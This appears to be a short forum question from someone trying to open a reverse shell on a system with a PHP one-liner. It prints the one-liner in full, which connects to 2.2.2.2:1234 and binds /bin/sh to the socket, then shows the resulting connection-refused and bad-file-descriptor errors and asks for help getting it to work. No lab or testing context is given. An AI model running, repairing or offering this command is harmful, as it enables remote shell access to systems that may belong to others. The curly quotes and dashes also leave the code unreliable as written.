Trying to run this script in order to take reverse shell of a system.
php –r ‘$sock=fsockopen(“2.2.2.2”,1234);exec(“/bin/sh –I <&3 >&3 2>&3”);’
But it says:
PHP Warning: fsockopen(): unable to connect to 2.2.2.2:1234 (Connection refused) in Command line code on line 1
sh: 1: 3: Bad file descriptor
How do I findout TCP connection use which file descriptor?
Thanks.